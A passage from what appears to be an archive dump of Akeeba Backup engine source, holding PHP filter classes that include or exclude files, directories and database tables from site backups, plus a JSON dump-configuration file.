 * Database table records exclusion filter
 *
 * This is simple stuff. If a table's on the list, it will backup just its structure, not
 * its contents. Fair and square...
 */
class Regextabledata extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Base.php000060400000037402152455305260013766 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\FileSystem;

abstract class Base
{
	/** @var string Filter's internal name; defaults to filename without .php extension */
	public $filter_name = '';

	/** @var string The filtering object: dir|file|dbobject|db */
	public $object = 'dir';

	/** @var string The filtering subtype (all|content|children|inclusion) */
	public $subtype = null;

	/** @var string The filtering method (direct|regex|api) */
	public $method = 'direct';

	/** @var bool Is the filter active? */
	public $enabled = true;

	/** @var array An array holding filter or regex strings per root, i.e. $filter_data[$root] = array() */
	protected $filter_data = null;

	/** @var FileSystem  Used by treatDirectory */
	protected $fsTools = null;

	/**
	 * Public constructor
	 */
	public function __construct()
	{
		// Set the filter name if it's missing (filename in lowercase, minus the .php extension)
		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}
	}

	/**
	 * Extra SQL statements to append to the SQL dump file. Useful for extension
	 * filters which have to filter out specific database records. This method
	 * must be overridden in children classes.
	 *
	 * @param   string  $root  The database for which to get the extra SQL statements
	 *
	 * @return  array  Extra SQL statements
	 */
	public function getExtraSQL(string $root): array
	{
		return [];
	}

	public $canFilterDatabaseRowContent = false;

	public function filterDatabaseRowContent(string $root, string $tableAbstract, array &$row): void
	{
		// No operation
	}

	/**
	 * Returns filtering (exclusion) status of the $test object
	 *
	 * @param   string  $test     The string to check for filter status (e.g. filename, dir name, table name, etc)
	 * @param   string  $root     The exclusion root test belongs to
	 * @param   string  $object   What type of object is it? dir|file|dbobject
	 * @param   string  $subtype  Filter subtype (all|content|children)
	 *
	 * @return    bool    True if it excluded, false otherwise
	 */
	public function isFiltered($test, $root, $object, $subtype)
	{
		if (!$this->enabled)
		{
			return false;
		}

		//Factory::getLog()->log(LogLevel::DEBUG,"Filtering [$object:$subtype] $root // $test");

		// Inclusion filters do not qualify for exclusion
		if ($this->subtype == 'inclusion')
		{
			return false;
		}

		// The object and subtype must match
		if (($this->object != $object) || ($this->subtype != $subtype))
		{
			return false;
		}

		if (in_array($this->method, ['direct', 'regex']))
		{
			// -- Direct or regex based filters --

			// Get a local reference of the filter data, if necessary
			if (is_null($this->filter_data))
			{
				$filters           = Factory::getFilters();
				$this->filter_data = $filters->getFilterData($this->filter_name);
			}

			// Check if the root exists and if there's a filter for the $test
			if (!array_key_exists($root, $this->filter_data))
			{
				// Root not found
				return false;
			}
			else
			{
				// Root found, search in the array
				if ($this->method == 'direct')
				{
					// Direct filtering
					return in_array($test, $this->filter_data[$root]);
				}
				else
				{
					// Regex matching
					foreach ($this->filter_data[$root] as $regex)
					{
						if (substr($regex, 0, 1) == '!')
						{
							// Custom Akeeba Backup extension to PCRE notation. If you put a ! before the PCRE, it negates the result of the PCRE.
							if (!preg_match(substr($regex, 1), $test))
							{
								return true;
							}
						}
						else
						{
							// Normal PCRE
							if (preg_match($regex, $test))
							{
								return true;
							}
						}
					}

					// if we're here, no match exists
					return false;
				}
			}
		}
		else
		{
			// -- API-based filters --
			return $this->is_excluded_by_api($test, $root);
		}
	}

	/**
	 * Returns the inclusion filters defined by this class for the requested $object
	 *
	 * @param   string  $object  The object to get inclusions for (dir|db)
	 *
	 * @return    array    The inclusion filters
	 */
	public function &getInclusions($object)
	{
		$dummy = [];

		if (!$this->enabled)
		{
			return $dummy;
		}

		if (($this->subtype != 'inclusion') || ($this->object != $object))
		{
			return $dummy;
		}

		switch ($this->method)
		{
			case 'api':
				return $this->get_inclusions_by_api();
				break;

			case 'direct':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				return $this->filter_data;
				break;

			default:
				// regex inclusion is not supported at the moment
				$dummy = [];

				return $dummy;
				break;
		}
	}

	/**
	 * Adds an exclusion filter, or add/replace an inclusion filter
	 *
	 * @param   string  $root  Filter's root
	 * @param   mixed   $test  Exclusion: the filter string. Inclusion: the root definition data
	 *
	 * @return bool True on success
	 */
	public function set($root, $test)
	{
		if (in_array($this->subtype, ['all', 'content', 'children']))
		{
			return $this->setExclusion($root, $test);
		}
		else
		{
			return $this->setInclusion($root, $test);
		}
	}

	/**
	 * Unsets a given filter
	 *
	 * @param   string  $root  Filter's root
	 * @param   string  $test  The filter to remove
	 *
	 * @return bool
	 */
	public function remove($root, $test = null)
	{
		if ($this->subtype == 'inclusion')
		{
			return $this->removeInclusion($root);
		}
		else
		{
			return $this->removeExclusion($root, $test);
		}
	}

	/**
	 * Completely removes all filters off a specific root
	 *
	 * @param   string  $root
	 *
	 * @return bool
	 */
	public function reset($root)
	{
		switch ($this->method)
		{
			default:
			case 'api':
				return false;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}
				// Direct filters
				if (array_key_exists($root, $this->filter_data))
				{
					unset($this->filter_data[$root]);
				}
				else
				{
					// Root not found
					return false;
				}
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}

	/**
	 * Toggles a filter
	 *
	 * @param   string  $root        The filter root object
	 * @param   string  $test        The filter string to toggle
	 * @param   bool    $new_status  The new filter status after the operation (true: enabled, false: disabled)
	 *
	 * @return bool True on successful change, false if we failed to change it
	 */
	public function toggle($root, $test, &$new_status)
	{
		// Can't toggle inclusion filters!
		if ($this->subtype == 'inclusion')
		{
			return false;
		}

		$is_set     = $this->isFiltered($test, $root, $this->object, $this->subtype);
		$new_status = !$is_set;
		if ($is_set)
		{
			$status = $this->remove($root, $test);
		}
		else
		{
			$status = $this->set($root, $test);
		}
		if (!$status)
		{
			$new_status = $is_set;
		}

		return $status;
	}

	/**
	 * Does this class has any filters? If it doesn't, its methods are never called by
	 * Akeeba's engine to speed things up.
	 * @return bool
	 */
	public function hasFilters()
	{
		if (!$this->enabled)
		{
			return false;
		}

		switch ($this->method)
		{
			default:
			case 'api':
				// API filters always have data!
				return true;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				return !empty($this->filter_data);
				break;
		}
	}

	/**
	 * Returns a list of filter strings for the given root. Used by MySQLDump engine.
	 *
	 * @param   string  $root
	 *
	 * @return array
	 */
	public function getFilters($root)
	{
		$dummy = [];

		if (!$this->enabled)
		{
			return $dummy;
		}

		switch ($this->method)
		{
			default:
			case 'api':
				// API filters never have a list
				return $dummy;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				if (is_null($root))
				{
					// When NULL is passed as the root, we return all roots
					return $this->filter_data;
				}
				elseif (array_key_exists($root, $this->filter_data))
				{
					// The root exists, return its data
					return $this->filter_data[$root];
				}
				else
				{
					// The root doesn't exist, return an empty array
					return $dummy;
				}
				break;
		}
	}

	/**
	 * This method must be overriden by API-type exclusion filters.
	 *
	 * @param   string  $test  The object to test for exclusion
	 * @param   string  $root  The object's root
	 *
	 * @return    bool    Return true if it matches your filters
	 *
	 * @codeCoverageIgnore
	 */
	protected function is_excluded_by_api($test, $root)
	{
		return false;
	}

	/**
	 * This method must be overriden by API-type inclusion filters.
	 *
	 * @return    array    The inclusion filters
	 *
	 * @codeCoverageIgnore
	 */
	protected function &get_inclusions_by_api()
	{
		$dummy = [];

		return $dummy;
	}

	/**
	 * Remove the root prefix from an absolute path
	 *
	 * @param   string  $directory  The absolute path
	 *
	 * @return  string  The translated path, relative to the root directory of the backup job
	 */
	protected function treatDirectory($directory)
	{
		if (!is_object($this->fsTools))
		{
			$this->fsTools = Factory::getFilesystemTools();
		}

		// Get the site's root
		$configuration = Factory::getConfiguration();

		if ($configuration->get('akeeba.platform.override_root', 0))
		{
			$root = $configuration->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$root = '[SITEROOT]';
		}

		if (stristr($root, '['))
		{
			$root = $this->fsTools->translateStockDirs($root);
		}

		$site_root = $this->fsTools->TrimTrailingSlash($this->fsTools->TranslateWinPath($root));

		$directory = $this->fsTools->TrimTrailingSlash($this->fsTools->TranslateWinPath($directory));

		// Trim site root from beginning of directory
		if (substr($directory, 0, strlen($site_root)) == $site_root)
		{
			$directory = substr($directory, strlen($site_root));

			if (substr($directory, 0, 1) == '/')
			{
				$directory = substr($directory, 1);
			}
		}

		return $directory;
	}

	/**
	 * Sets a filter, for direct and regex exclusion filter types
	 *
	 * @param   string  $root  The filter root object
	 * @param   string  $test  The filter string to set
	 *
	 * @return    bool    True on success
	 *
	 * @codeCoverageIgnore
	 */
	private function setExclusion($root, $test)
	{
		switch ($this->method)
		{
			default:
			case 'api':
				// we can't set new filter elements for API-type filters
				return false;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				// Direct filters
				if (array_key_exists($root, $this->filter_data))
				{
					if (!in_array($test, $this->filter_data[$root]))
					{
						$this->filter_data[$root][] = $test;
					}
					else
					{
						return false;
					}
				}
				else
				{
					$this->filter_data[$root] = [$test];
				}
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}

	/**
	 * Sets a filter, for direct inclusion filter types
	 *
	 * @param   string  $root  The inclusion filter key (root)
	 * @param   string  $test  The inclusion filter raw data
	 *
	 * @return    bool    True on success
	 *
	 * @codeCoverageIgnore
	 */
	private function setInclusion($root, $test)
	{
		switch ($this->method)
		{
			default:
			case 'api':
			case 'regex':
				// we can't set new filter elements for API or regex type filters
				return false;
				break;

			case 'direct':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				$this->filter_data[$root] = $test;
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}

	/**
	 * Remove a key from direct and regex filters
	 *
	 * @param   string  $root  The filter root object
	 * @param   string  $test  The filter string to set
	 *
	 * @return    bool    True on success
	 *
	 * @codeCoverageIgnore
	 */
	private function removeExclusion($root, $test)
	{
		switch ($this->method)
		{
			default:
			case 'api':
				// we can't remove filter elements from API-type filters
				return false;
				break;

			case 'direct':
			case 'regex':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				// Direct filters
				if (array_key_exists($root, $this->filter_data))
				{
					if (in_array($test, $this->filter_data[$root]))
					{
						if (count($this->filter_data[$root]) == 1)
						{
							// If it's the only element, remove the entire root key
							unset($this->filter_data[$root]);
						}
						else
						{
							// If there are more elements, remove just the $test value
							$key = array_search($test, $this->filter_data[$root]);
							unset($this->filter_data[$root][$key]);
						}
					}
					else
					{
						// Filter object not found
						return false;
					}
				}
				else
				{
					// Root not found
					return false;
				}
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}

	/**
	 * Remove an inclusion filter
	 *
	 * @param   string  $root  The root of the filter to remove
	 *
	 * @return bool
	 *
	 * @codeCoverageIgnore
	 */
	private function removeInclusion($root)
	{
		switch ($this->method)
		{
			default:
			case 'api':
			case 'regex':
				// we can't remove filter elements from API or regex type filters
				return false;
				break;

			case 'direct':
				// Get a local reference of the filter data, if necessary
				if (is_null($this->filter_data))
				{
					$filters           = Factory::getFilters();
					$this->filter_data = $filters->getFilterData($this->filter_name);
				}

				if (array_key_exists($root, $this->filter_data))
				{
					unset($this->filter_data[$root]);
				}
				else
				{
					// Root not found
					return false;
				}
				break;
		}

		$filters = Factory::getFilters();
		$filters->setFilterData($this->filter_name, $this->filter_data);

		return true;
	}
}
com_akeeba/BackupEngine/Filter/Multidb.php000060400000002300152455305260014501 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Multiple Database inclusion filter
 */
class Multidb extends Base
{
	public function __construct()
	{
		$this->object  = 'db';
		$this->subtype = 'inclusion';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Skipfiles.php000060400000002312152455305260015035 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Directory contents (files) exclusion filter
 */
class Skipfiles extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'content';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Tabledata.php000060400000002514152455305260014771 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Database table records exclusion filter
 *
 * This is simple stuff. If a table's on the list, it will backup just its structure, not
 * its contents. Fair and square...
 */
class Tabledata extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Directories.php000060400000002267152455305260015371 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Directory exclusion filter
 */
class Directories extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'all';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Regexfiles.php000060400000002317152455305260015206 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Files exclusion filter based on regular expressions
 */
class Regexfiles extends Base
{
	public function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'regex';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Extradirs.php000060400000002303152455305260015051 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Extra Directories inclusion filter
 */
class Extradirs extends Base
{
	public function __construct()
	{
		$this->object  = 'dir';
		$this->subtype = 'inclusion';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Filter/Incremental.php000060400000007547152455305260015364 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use DateTimeZone;

/**
 * Incremental file filter
 *
 * It will only backup files which are newer than the last backup taken with this profile
 */
class Incremental extends Base
{

	public function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'api';
	}

	protected function is_excluded_by_api($test, $root)
	{
		static $filter_switch = null;
		static $last_backup = null;

		if (is_null($filter_switch))
		{
			$config        = Factory::getConfiguration();
			$filter_switch = Factory::getEngineParamsProvider()->getScriptingParameter('filter.incremental', 0);
			$filter_switch = ($filter_switch == 1);

			$last_backup = $config->get('volatile.filter.last_backup', null);

			if (is_null($last_backup) && $filter_switch)
			{
				// Get a list of backups on this profile
				$backups = Platform::getInstance()->get_statistics_list([
					'filters' => [
						[
							'field' => 'profile_id',
							'value' => Platform::getInstance()->get_active_profile(),
						],
					],
				]);

				// Find this backup's ID
				$model = Factory::getStatistics();
				$id    = $model->getId();

				if (is_null($id))
				{
					$id = -1;
				}

				// Initialise
				$last_backup = time();
				$now         = $last_backup;

				// Find the last time a successful backup with this profile was made
				if (count($backups))
				{
					foreach ($backups as $backup)
					{
						// Skip the current backup
						if ($backup['id'] == $id)
						{
							continue;
						}

						// Skip non-complete backups
						if ($backup['status'] != 'complete')
						{
							continue;
						}

						$tzUTC      = new DateTimeZone('UTC');
						$dateTime   = new DateTime($backup['backupstart'], $tzUTC);
						$backuptime = $dateTime->getTimestamp();

						$last_backup = $backuptime;
						break;
					}
				}

				if ($last_backup == $now)
				{
					// No suitable backup found; disable this filter
					$config->set('volatile.scripting.incfile.filter.incremental', 0);
					$filter_switch = false;
				}
				else
				{
					// Cache the last backup timestamp
					$config->set('volatile.filter.last_backup', $last_backup);
				}
			}
		}

		if (!$filter_switch)
		{
			return false;
		}

		// Get the filesystem path for $root
		$config   = Factory::getConfiguration();
		$fsroot   = $config->get('volatile.filesystem.current_root', '');
		$ds       = ($fsroot == '') || ($fsroot == '/') ? '' : DIRECTORY_SEPARATOR;
		$filename = $fsroot . $ds . $test;

		// Get the timestamp of the file
		$timestamp = @filemtime($filename);

		// If we could not get this information, include the file in the archive
		if ($timestamp === false)
		{
			return false;
		}

		// Compare it with the last backup timestamp and exclude if it's older than the last backup
		if ($timestamp <= $last_backup)
		{
			//Factory::getLog()->debug("Excluding $filename due to incremental backup restrictions");
			return true;
		}

		// No match? Just include the file!
		return false;
	}

}
com_akeeba/BackupEngine/Filter/Tablesalwaysskipped.php000060400000003436152455305260017127 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Filter
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

class Tablesalwaysskipped extends Base
{
	public function __construct()
	{
		$this->object  = 'dbobject';
		$this->subtype = 'content';
		$this->method  = 'api';

		parent::__construct();
	}

	/**
	 * This method must be overridden by API-type exclusion filters.
	 *
	 * @param   string  $test  The object to test for exclusion
	 * @param   string  $root  The object's root
	 *
	 * @return  bool  Return true if it matches your filters
	 */
	protected function is_excluded_by_api($test, $root)
	{
		static $alwaysExcludeTables = [
			// Tables from the service connector that shall not be named
			'bf_core_hashes',
			'bf_files',
			'bf_files_last',
			'bf_folders',
			'bf_folders_to_scan',
		];

		// Is it one of the always excluded tables?
		return in_array($test, $alwaysExcludeTables);
	}

}com_akeeba/BackupEngine/Filter/Files.php000060400000002256152455305260014155 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Filter;

defined('AKEEBAENGINE') || die();

/**
 * Files exclusion filter
 */
class Files extends Base
{
	public function __construct()
	{
		$this->object  = 'file';
		$this->subtype = 'all';
		$this->method  = 'direct';

		if (empty($this->filter_name))
		{
			$this->filter_name = strtolower(basename(__FILE__, '.php'));
		}

		parent::__construct();
	}
}
com_akeeba/BackupEngine/Dump/native.json000060400000005330152455305260014237 0ustar00{
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_DUMP_NATIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION"
    },
    "engine.dump.divider.common": {
        "default": "0",
        "type": "separator",
        "title": "COM_AKEEBA_CONFIG_DUMP_DIVIDER_COMMON",
        "bold": "1"
    },
    "engine.dump.common.blankoutpass": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BLANKOUTPASS_TITLE",
        "description": "COM_AKEEBA_CONFIG_BLANKOUTPASS_DESCRIPTION"
    },
    "engine.dump.common.extended_inserts": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_EXTENDEDINSERTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_EXTENDEDINSERTS_DESCRIPTION"
    },
    "engine.dump.common.packet_size": {
        "default": "131072",
        "type": "integer",
        "min": "1",
        "max": "1048576",
        "shortcuts": "16384|32768|65536|131072|262144|524288|1048576",
        "scale": "1024",
        "uom": "KB",
        "title": "COM_AKEEBA_CONFIG_MAXPACKET_TITLE",
        "description": "COM_AKEEBA_CONFIG_MAXPACKET_DESCRIPTION"
    },
    "engine.dump.common.splitsize": {
        "default": "524288",
        "type": "integer",
        "min": "0",
        "max": "10485760",
        "shortcuts": "524288|1048576|2097152|5242880|10485760",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_SPLITDBDUMP_TITLE",
        "description": "COM_AKEEBA_CONFIG_SPLITDBDUMP_DESCRIPTION"
    },
    "engine.dump.common.batchsize": {
        "default": "1000",
        "type": "integer",
        "min": "0",
        "max": "100000",
        "shortcuts": "10|20|50|100|200|500|1000",
        "scale": "1",
        "uom": "queries",
        "title": "COM_AKEEBA_CONFIG_BACTHSIZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACTHSIZE_DESCRIPTION"
    },
    "engine.dump.divider.mysql": {
        "default": "0",
        "type": "separator",
        "title": "COM_AKEEBA_CONFIG_DUMP_DIVIDER_MYSQL",
        "bold": "1"
    },
    "engine.dump.native.advanced_entitites": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_MYSQL5FEATURES_ENABLE_TITLE",
        "description": "COM_AKEEBA_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION"
    },
    "engine.dump.native.nodependencies": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_NODEPENDENCIES_TITLE",
        "description": "COM_AKEEBA_CONFIG_NODEPENDENCIES_DESCRIPTION"
    },
    "engine.dump.native.nobtree": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_MYSQLNOBTREE_TITLE",
        "description": "COM_AKEEBA_CONFIG_MYSQLNOBTREE_TIP"
    }
}com_akeeba/BackupEngine/Dump/Native.php000060400000012137152455305260014020 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Dump\Base as DumpBase;
